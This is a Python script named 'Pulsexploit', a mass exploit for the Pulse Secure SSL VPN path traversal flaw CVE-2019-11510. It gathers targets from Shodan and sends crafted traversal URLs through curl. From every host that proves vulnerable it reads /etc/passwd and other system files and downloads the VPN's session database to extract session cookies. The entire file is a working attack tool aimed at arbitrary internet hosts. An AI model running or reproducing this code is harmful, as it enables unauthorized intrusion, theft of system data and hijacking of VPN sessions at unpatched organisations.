#!/usr/bin/env python3
# by Aqhmal (https://github.com/aqhmal)
import os
import sys
import random
import string
import shodan
import argparse
import requests
from time import sleep
from shutil import rmtree
from datetime import datetime
from subprocess import Popen, run, PIPE
from threading import Thread, activeCount

# Shodan API Key (change according to your Shodan API key)
api_key = ''
# Shodan search query (edit this, but don't remove the html and port)
search_query = 'html:"/dana/" port:"443"'

targets_ip = []
vulnerable = []

def getUA():
	user_agents = [
		'Mozilla/5.0 (X11; Fedora;Linux x86; rv:60.0) Gecko/20100101 Firefox/60.0',
		'Opera/9.80 (Windows Mobile; Opera Mini/5.1.21594/29.3530; U; en) Presto/2.8.119 Version/11.10',
		'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'
	]
	return random.choice(user_agents)

def showBanner():
	print('\n\033[1;93m _____     _                 _     _ _')
	print('|  _  |_ _| |___ ___ _ _ ___| |___|_| |_')
	print('|   __| | | |_ -| -_|_\'_| . | | . | |  _|')
	print('|__|  |___|_|___|___|_,_|  _|_|___|_|_|')
	print('                        |_|\033[0;m\n')

def getTime():
	now = datetime.now()
	return now.strftime('%H:%M:%S')

def showInfo(message):
	print('[\033[1;94m{}\033[0;m] [*] {}'.format(getTime(), message))

def showFail(message):
	print('[\033[1;94m{}\033[0;m] [\033[1;91m-\033[0;m] \033[1;91m{}\033[0;m'.format(getTime(), message))

def showSuccess(message):
	print('[\033[1;94m{}\033[0;m] [\033[1;92m+\033[0;m] \033[1;92m{}\033[0;m'.format(getTime(), message))

def exit(message = None):
	try:
		global tmp_dir
		if message is not None:
			showFail(message)
		if activeCount() > 1:
			showInfo('Killig all threads')
			while activeCount() > 1:
				sleep(0.001)
		if os.path.isdir(tmp_dir):
			showInfo('Removing {} directory'.format(tmp_dir))
			rmtree(tmp_dir)
		showInfo('Exiting Pulsexploit')
		sys.exit()
	except KeyboardInterrupt:
		pass

def appendList(ip):
	global targets_ip
	targets_ip.append(ip)

def genUrl(ip, file):
	return 'https://{}/dana-na/../dana/html5acc/guacamole/../../../../../..{}?/dana/html5acc/guacamole/'.format(ip, file)

def strings(file, min=4):
	with open(file, errors='ignore') as f:
		result = ''
		for c in f.read():
			if c in string.printable:
				result += c
				continue
			if len(result) >= min:
				yield result
			result = ''
		if len(result) >= min:
			yield result

def check(ip):
	global vulnerable, output_dir, tmp_dir
	try:
		target = '/etc/passwd'
		cmd = 'curl --path-as-is -s -k --insecure --max-time 3 "{}" -H "User-Agent: {}"'.format(genUrl(ip, target), getUA())
		result = Popen(cmd, shell=True, stdout=PIPE).stdout.read().decode('utf-8')
		if 'root:x:0:0:root' in result:
			showSuccess('{} is vulnerable'.format(ip))
			vulnerable.append(ip)
			file = '{}/{}_.txt'.format(output_dir, ip)
			if os.path.exists(file):
				os.remove(file)
			with open(file, 'a+') as f:
				f.write('-' * 70 + '\n')
				f.write(target + '\n' + '-' * 70 + '\n')
				f.write(result)
				f.write('-' * 70 + '\n')
				target = '/etc/hosts'
				cmd = 'curl --path-as-is -s -k --insecure --max-time 3 "{}" -H "User-Agent: {}"'.format(genUrl(ip, target), getUA())
				result = Popen(cmd, shell=True, stdout=PIPE).stdout.read().decode('utf-8')
				f.write(target + '\n' + '-' * 70 + '\n')
				f.write(result)
				f.write('-' * 70 + '\n')
				target = '/etc/group'
				cmd = 'curl --path-as-is -s -k --insecure --max-time 3 "{}" -H "User-Agent: {}"'.format(genUrl(ip, target), getUA())
				result = Popen(cmd, shell=True, stdout=PIPE).stdout.read().decode('utf-8')
				f.write(target + '\n' + '-' * 70 + '\n')
				f.write(result)
				f.write('-' * 70 + '\n')
				target = '/etc/resolv.conf'
				cmd = 'curl --path-as-is -s -k --insecure --max-time 3 "{}" -H "User-Agent: {}"'.format(genUrl(ip, target), getUA())
				result = Popen(cmd, shell=True, stdout=PIPE).stdout.read().decode('utf-8')
				f.write(target + '\n' + '-' * 70 + '\n')
				f.write(result)
				f.write('-' * 70 + '\n')
				target = '/data/runtime/mtmp/lmdb/randomVal/data.mdb'
				tmp_file = '{}/{}_cookie.mdb'.format(tmp_dir, ip)
				cmd = 'curl --path-as-is -s -k --insecure "{}" -H "User-Agent: {}" > {}'.format(genUrl(ip, target), getUA(), tmp_file)
				run(cmd, shell=True, stdout=PIPE)
				try:
					cookies = []
					for line in strings(tmp_file):
						if 'randomVal' in line:
							cookie = line[9:].strip()
							if cookie not in cookies and cookie:
								cookies.append(cookie)
					if len(cookies) > 0:
						f.write(target + '\n' + '-' * 70 + '\n')
						for cookie in cookies:
							f.write(cookie + '\n')
						f.write('-' * 70 + '\n')
					os.remove(tmp_file)
				except OSError as e:
					showFail(e)
				f.close()
		else:
			showFail('{} is not vulnerable'.format(ip))
	except Exception as e:
		showFail('Problem connecting to {}'.format(ip))

def main(args):
	global api_key, search_query, targets_ip
	try:
		max_threads = args.threads
		api = shodan.Shodan(api_key)
		showInfo('Querying from Shodan API')
		showInfo('Using query: {}'.format(search_query))
		search = api.search_cursor(search_query)
		showInfo('Sorting results')
		for result in search:
			ip = result['ip_str']
			th = Thread(target=appendList, args=(ip,))
			th.daemon = True
			th.start()
			while activeCount() > 5:
				sleep(0.001)
		while activeCount() > 1:
			sleep(0.001)
		showInfo('Retrieved {} results'.format(len(targets_ip)))
		if len(targets_ip) == 0:
			exit('The search query returns no result')
		showInfo('Checking if they are vulnerable')
		showInfo('Using {} connection threads'.format(max_threads))
		for ip in targets_ip:
			th = Thread(target=check, args=(ip,))
			th.daemon = True
			th.start()
			while activeCount() >= max_threads:
				sleep(0.001)
		while activeCount() > 1:
			sleep(0.001)
		global vulnerable
		showInfo('Finished with {} vulnerable IPs'.format(len(vulnerable)))
		if len(vulnerable) > 0:
			global output_dir
			showSuccess('Results saved to {} directory'.format(output_dir))
		else:
			showFail('Sorry mate, no luck.')
		exit()
	except shodan.exception.APIError:
		exit('Your Shodan query is invalid or connection lost')
	except KeyboardInterrupt:
		exit('User aborted!')

if __name__ == '__main__':
	try:
		tmp_dir = '.tmp'
		showBanner()
		desc = 'Automated Pulse Secure SSL VPN exploit (CVE-2019-11510) using hosts retrieved from Shodan API. You must have a Shodan account to use this script.'
		args = argparse.ArgumentParser(description=desc)
		args.add_argument('-t', '--threads', dest='threads', type=int, default=5, help='number of connection threads (default: 5)')
		args.add_argument('-o', '--output', dest='output', type=str, default='output', help='output result directory (default: output)')
		args = args.parse_args()
		if not api_key.strip():
			exit('Shodan API key cannot be blank!')
		if not search_query.strip():
			exit('Shodan search query cannot be blank!')
		showInfo('Starting Pulsexploit')
		try:
			output_dir = args.output
			showInfo('Checking if {} directory exists'.format(output_dir))
			if not os.path.isdir(output_dir):
				showInfo('Creating {} directory'.format(output_dir))
				os.mkdir(output_dir)
				with open(output_dir + '/.gitignore', 'a+') as f:
					f.write('*\n!.gitignore\n')
					f.close()
			if not os.path.isdir(tmp_dir):
				showInfo('Creating {} directory'.format(tmp_dir))
				os.mkdir(tmp_dir)
		except OSError as e:
			showFail(e)
		main(args)
	except KeyboardInterrupt:
		exit('User aborted!')
